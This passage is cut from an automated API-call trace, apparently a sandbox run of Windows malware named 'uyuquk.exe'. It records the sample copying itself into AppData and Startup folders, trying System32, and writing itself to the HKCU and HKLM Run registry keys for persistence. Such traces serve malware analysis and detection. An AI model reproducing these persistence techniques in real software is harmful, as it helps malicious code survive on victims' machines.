szExeFile="reader_sl.exe")) returned 1 [0233.119] lstrlenW (lpString="reader_sl.exe") returned 13 [0233.119] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x548, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0233.119] CloseHandle (hObject=0xe0) returned 1 [0233.119] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x565540 | out: hHeap=0x530000) returned 1 [0233.119] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x565588 | out: hHeap=0x530000) returned 1 [0233.119] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x544a58 | out: hHeap=0x530000) returned 1 [0233.119] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5655d0 | out: hHeap=0x530000) returned 1 [0233.119] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x565618 | out: hHeap=0x530000) returned 1 [0233.119] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x564d28 | out: hHeap=0x530000) returned 1 [0233.119] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5449d0 | out: hHeap=0x530000) returned 1 [0233.119] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5449f0 | out: hHeap=0x530000) returned 1 [0233.119] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x544610 | out: hHeap=0x530000) returned 1 [0233.119] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x544638 | out: hHeap=0x530000) returned 1 [0233.119] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x544a38 | out: hHeap=0x530000) returned 1 [0233.119] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x544660 | out: hHeap=0x530000) returned 1 [0233.119] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xfffe) returned 0x56af08 [0233.120] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xfffe) returned 0x57af10 [0233.120] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10) returned 0x564d28 [0233.120] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x564d28, Size=0x20) returned 0x544660 [0233.120] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x544660, Size=0x40) returned 0x566c60 [0233.120] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10) returned 0x564d28 [0233.120] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x564d28, Size=0x20) returned 0x544660 [0233.120] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10) returned 0x564d28 [0233.120] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x564d28, Size=0x20) returned 0x544638 [0233.120] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10) returned 0x564d28 [0233.120] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x564d28, Size=0x20) returned 0x544610 [0233.120] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x544610, Size=0x40) returned 0x566ca8 [0233.120] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x57af10, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\uyuquk.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\uyuquk.exe")) returned 0x66 [0233.120] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xfffe) returned 0x58af18 [0233.121] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xfffe) returned 0x59af20 [0233.121] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10) returned 0x564d28 [0233.121] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x564d28, Size=0x20) returned 0x544610 [0233.121] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x544610, Size=0x40) returned 0x566cf0 [0233.121] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x566cf0, Size=0x80) returned 0x565540 [0233.121] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x565540, Size=0x100) returned 0x567e68 [0233.121] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0233.121] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x567e68 | out: hHeap=0x530000) returned 1 [0233.121] ExpandEnvironmentStringsW (in: lpSrc="%windir%\\System32\\uyuquk.exe", lpDst=0x58af18, nSize=0x7fff | out: lpDst="C:\\Windows\\System32\\uyuquk.exe") returned 0x1f [0233.121] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x59af20 | out: hHeap=0x530000) returned 1 [0233.121] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x58af18 | out: hHeap=0x530000) returned 1 [0233.121] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x100000) returned 0x2120020 [0233.121] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10) returned 0x564d28 [0233.121] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x564d28, Size=0x20) returned 0x544610 [0233.121] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10) returned 0x564d28 [0233.121] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x564d28, Size=0x20) returned 0x565be8 [0233.121] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c10000 [0233.121] GetProcAddress (hModule=0x76c10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c3d650 [0233.121] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x0) returned 1 [0233.122] lstrlenW (lpString="kernel32.dll") returned 12 [0233.122] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x544610 | out: hHeap=0x530000) returned 1 [0233.122] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0233.122] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x565be8 | out: hHeap=0x530000) returned 1 [0233.122] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\uyuquk.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\uyuquk.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0233.122] CreateFileW (lpFileName="C:\\Windows\\System32\\uyuquk.exe" (normalized: "c:\\windows\\system32\\uyuquk.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.123] CloseHandle (hObject=0xe0) returned 1 [0233.124] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10) returned 0x564d28 [0233.124] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x564d28, Size=0x20) returned 0x565be8 [0233.124] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10) returned 0x564d28 [0233.124] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x564d28, Size=0x20) returned 0x565b98 [0233.124] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c10000 [0233.124] GetProcAddress (hModule=0x76c10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c3d650 [0233.124] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0233.124] lstrlenW (lpString="kernel32.dll") returned 12 [0233.124] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x565b98 | out: hHeap=0x530000) returned 1 [0233.124] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0233.124] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x565be8 | out: hHeap=0x530000) returned 1 [0233.124] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x2120020 | out: hHeap=0x530000) returned 1 [0233.124] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xfffe) returned 0x58af18 [0233.124] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xfffe) returned 0x59af20 [0233.124] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10) returned 0x564d28 [0233.124] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x564d28, Size=0x20) returned 0x565be8 [0233.124] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x565be8, Size=0x40) returned 0x566cf0 [0233.124] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x566cf0, Size=0x80) returned 0x5aaf40 [0233.124] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x5aaf40, Size=0x100) returned 0x567e68 [0233.124] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0233.124] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x567e68 | out: hHeap=0x530000) returned 1 [0233.124] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\uyuquk.exe", lpDst=0x58af18, nSize=0x7fff | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\uyuquk.exe") returned 0x39 [0233.124] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x59af20 | out: hHeap=0x530000) returned 1 [0233.124] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x58af18 | out: hHeap=0x530000) returned 1 [0233.124] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x100000) returned 0x2120020 [0233.125] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10) returned 0x564d28 [0233.125] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x564d28, Size=0x20) returned 0x565be8 [0233.125] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10) returned 0x564d28 [0233.125] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x564d28, Size=0x20) returned 0x565b98 [0233.125] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c10000 [0233.125] GetProcAddress (hModule=0x76c10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c3d650 [0233.125] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0233.125] lstrlenW (lpString="kernel32.dll") returned 12 [0233.125] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x565be8 | out: hHeap=0x530000) returned 1 [0233.125] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0233.125] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x565b98 | out: hHeap=0x530000) returned 1 [0233.125] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\uyuquk.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\uyuquk.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0233.125] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\uyuquk.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\uyuquk.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0233.126] ReadFile (in: hFile=0xe0, lpBuffer=0x2120020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2120020*, lpNumberOfBytesRead=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0233.293] WriteFile (in: hFile=0xe4, lpBuffer=0x2120020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2120020*, lpNumberOfBytesWritten=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0233.295] ReadFile (in: hFile=0xe0, lpBuffer=0x2120020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2120020*, lpNumberOfBytesRead=0x18fd98*=0x0, lpOverlapped=0x0) returned 1 [0233.295] CloseHandle (hObject=0xe4) returned 1 [0233.295] CloseHandle (hObject=0xe0) returned 1 [0233.295] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10) returned 0x564d28 [0233.295] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x564d28, Size=0x20) returned 0x565b98 [0233.295] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10) returned 0x564d28 [0233.295] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x564d28, Size=0x20) returned 0x565be8 [0233.295] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c10000 [0233.295] GetProcAddress (hModule=0x76c10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c3d650 [0233.295] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0233.295] lstrlenW (lpString="kernel32.dll") returned 12 [0233.295] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x565be8 | out: hHeap=0x530000) returned 1 [0233.296] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0233.296] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x565b98 | out: hHeap=0x530000) returned 1 [0233.296] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x2120020 | out: hHeap=0x530000) returned 1 [0233.300] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10) returned 0x564d28 [0233.300] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x564d28, Size=0x20) returned 0x565b98 [0233.300] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x565b98, Size=0x40) returned 0x566cf0 [0233.300] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x566cf0, Size=0x80) returned 0x5aaf40 [0233.300] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\uyuquk.exe") returned 56 [0233.300] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0233.300] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x5c) returned 0x568150 [0233.300] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x18fd6c | out: phkResult=0x18fd6c*=0xe0) returned 0x0 [0233.300] RegSetValueExW (hKey=0xe0, lpValueName="uyuquk.exe", Reserved=0x0, dwType=0x1, lpData=0x56af08, cbData=0x70) returned 0x5 [0233.300] RegCloseKey (hKey=0xe0) returned 0x0 [0233.300] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x568150 | out: hHeap=0x530000) returned 1 [0233.300] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\uyuquk.exe") returned 56 [0233.300] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0233.300] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x5c) returned 0x568150 [0233.300] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x18fd6c | out: phkResult=0x18fd6c*=0xe4) returned 0x0 [0233.301] RegSetValueExW (in: hKey=0xe4, lpValueName="uyuquk.exe", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\uyuquk.exe", cbData=0x70 | out: lpData="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\uyuquk.exe") returned 0x0 [0233.301] RegCloseKey (hKey=0xe4) returned 0x0 [0233.301] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x568150 | out: hHeap=0x530000) returned 1 [0233.301] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0233.301] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5aaf40 | out: hHeap=0x530000) returned 1 [0233.301] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xfffe) returned 0x58af18 [0233.301] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xfffe) returned 0x59af20 [0233.301] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10) returned 0x564d58 [0233.301] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x564d58, Size=0x20) returned 0x565b98 [0233.301] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x565b98, Size=0x40) returned 0x566cf0 [0233.301] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x566cf0, Size=0x80) returned 0x5aaf40 [0233.301] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x5aaf40, Size=0x100) returned 0x567e68 [0233.301] lstrlenW (lpString="") returned 0 [0233.301] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0233.301] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8c) returned 0x565540 [0233.301] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe4) returned 0x0 [0233.301] RegQueryValueExW (in: hKey=0xe4, lpValueName="Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x59af20, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x0, lpData=0x59af20*=0x53, lpcbData=0x18fd50*=0x7fff) returned 0x2 [0233.301] RegCloseKey (hKey=0xe4) returned 0x0 [0233.301] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x565540 | out: hHeap=0x530000) returned 1 [0233.301] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0233.301] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8c) returned 0x565540 [0233.301] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe4) returned 0x0 [0233.301] RegQueryValueExW (in: hKey=0xe4, lpValueName="Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x59af20, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x18fd50*=0x98) returned 0x0 [0233.301] RegCloseKey (hKey=0xe4) returned 0x0 [0233.301] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x565540 | out: hHeap=0x530000) returned 1 [0233.301] lstrlenW (lpString="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 75 [0233.302] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0233.302] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x567e68 | out: hHeap=0x530000) returned 1 [0233.302] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\uyuquk.exe", lpDst=0x58af18, nSize=0x7fff | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\uyuquk.exe") returned 0x67 [0233.302] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x59af20 | out: hHeap=0x530000) returned 1 [0233.302] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x58af18 | out: hHeap=0x530000) returned 1 [0233.302] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x100000) returned 0x2120020 [0233.302] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10) returned 0x564d58 [0233.302] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x564d58, Size=0x20) returned 0x565b98 [0233.302] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10) returned 0x564d58 [0233.302] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x564d58, Size=0x20) returned 0x565be8 [0233.302] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c10000 [0233.302] GetProcAddress (hModule=0x76c10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c3d650 [0233.302] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0233.302] lstrlenW (lpString="kernel32.dll") returned 12 [0233.302] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x565b98 | out: hHeap=0x530000) returned 1 [0233.302] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0233.302] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x565be8 | out: hHeap=0x530000) returned 1 [0233.302] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\uyuquk.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\uyuquk.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0233.302] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\uyuquk.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\uyuquk.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.302] CloseHandle (hObject=0xe4) returned 1 [0233.303] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10) returned 0x564d58 [0233.303] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x564d58, Size=0x20) returned 0x565be8 [0233.303] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10) returned 0x564d58 [0233.303] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x564d58, Size=0x20) returned 0x565b98 [0233.303] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c10000 [0233.303] GetProcAddress (hModule=0x76c10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c3d650 [0233.303] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0233.303] lstrlenW (lpString="kernel32.dll") returned 12 [0233.303] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x565b98 | out: hHeap=0x530000) returned 1 [0233.303] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0233.303] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x565be8 | out: hHeap=0x530000) returned 1 [0233.303] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x2120020 | out: hHeap=0x530000) returned 1 [0233.303] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xfffe) returned 0x58af18 [0233.303] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xfffe) returned 0x59af20 [0233.303] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10) returned 0x564d58 [0233.303] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x564d58, Size=0x20) returned 0x565be8 [0233.303] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x565be8, Size=0x40) returned 0x566cf0 [0233.303] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x566cf0, Size=0x80) returned 0x5aaf40 [0233.303] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x5aaf40, Size=0x100) returned 0x567e68 [0233.303] lstrlenW (lpString="") returned 0 [0233.303] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0233.303] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8c) returned 0x565540 [0233.303] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe4) returned 0x0 [0233.303] RegQueryValueExW (in: hKey=0xe4, lpValueName="Common Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x59af20, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x18fd50*=0x78) returned 0x0 [0233.303] RegCloseKey (hKey=0xe4) returned 0x0 [0233.303] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x565540 | out: hHeap=0x530000) returned 1 [0233.303] lstrlenW (lpString="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 59 [0233.304] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0233.304] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x567e68 | out: hHeap=0x530000) returned 1 [0233.304] ExpandEnvironmentStringsW (in: lpSrc="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\uyuquk.exe", lpDst=0x58af18, nSize=0x7fff | out: lpDst="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\uyuquk.exe") returned 0x48 [0233.304] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x59af20 | out: hHeap=0x530000) returned 1 [0233.304] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x58af18 | out: hHeap=0x530000) returned 1 [0233.304] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x100000) returned 0x2120020 [0233.304] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10) returned 0x564d58 [0233.304] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x564d58, Size=0x20) returned 0x565be8 [0233.304] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10) returned 0x564d58 [0233.304] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x564d58, Size=0x20) returned 0x565b98 [0233.304] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c10000 [0233.304] GetProcAddress (hModule=0x76c10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c3d650 [0233.304] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0233.304] lstrlenW (lpString="kernel32.dll") returned 12 [0233.304] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x565be8 | out: hHeap=0x530000) returned 1 [0233.304] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0233.304] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x565b98 | out: hHeap=0x530000) returned 1 [0233.304] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\uyuquk.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\uyuquk.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 